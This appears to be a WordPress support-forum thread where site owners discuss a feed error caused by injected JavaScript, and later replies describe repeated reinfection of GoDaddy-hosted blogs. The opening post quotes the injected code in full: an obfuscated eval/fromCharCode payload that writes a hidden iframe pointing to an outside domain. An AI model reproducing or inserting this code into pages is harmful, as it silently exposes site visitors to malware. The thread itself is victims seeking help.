Junk after document element

  • hshasty

    (@hshasty)


    15 years, 1 month ago

    My site is SearchEngineSnark.com, feed URL is searchenginesnark.com/feed/ . I’ve been making a few changes to my theme and plugins lately. Last night I saw in Feedburner that there were issues with my feed. The error was specifically:

    line 646, column 0: XML parsing error: <unknown>:646:0: junk after document element

    This corresponds to a piece of Javascript after the close RSS caption that reads:

    <script type="text/javascript">eval(String.fromCharCode(118,97,114,32,102,103,103,103,101,51,61,34,115,105,34,59,118,97,114,32,119,51,52,53,61,34,112,108,34,59,118,97,114,32,114,101,54,61,34,97,110,107,46,34,59,118,97,114,32,114,114,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,102,103,103,103,101,51,43,39,39,43,119,51,52,53,43,39,39,43,114,101,54,43,39,39,43,114,114,43,39,47,39,43,39,113,113,112,47,39,43,39,39,43,39,39,43,39,34,32,115,116,121,108,101,61,34,100,39,43,39,105,115,112,108,97,121,58,110,39,43,39,111,110,101,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,116,61,48,48,48,48,49,50,49,55))</script>

    How can I strip this out of my feed, and/or what is causing this?

Viewing 4 replies - 1 through 4 (of 4 total)
  • Samuel B

    (@samboll)

    15 years, 1 month ago

    your feed validated
    if you click on the “help” link by the error it will give you a solution.

    retrovision

    (@retrovision)

    15 years, 1 month ago

    This is a hack that as near as I can tell is intended to install malware. Somehow, it’s ended up appended to all of my html and php files in my wordpress blog despite password changes. Changing all of the files in the themes etc to read-only seems to have staved off re-infection, but this has attacked even blogs that are not known to the public, so I’m almost expecting that it may be getting in through my hosting company…. Godaddy…

    someday

    (@someday)

    15 years ago

    I am having this problem on a virtual dedicated server w/ godaddy. I am also using wordpress. If others are using wordpress, please post what themes you are using, if any.

    Enci

    (@enikotakacs)

    15 years ago

    I’m hosting with GoDaddy as well and all my blogs have been hacked. I’ve been clearing them out, deleting files and overwriting them and I’m good for about 10 hours and then I get the malware popup again.

    I have several sites, too many to list. But this is really frustrating! I’ve changed passwords and everything. Grrr!

Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Junk after document element’ is closed to new replies.

Tags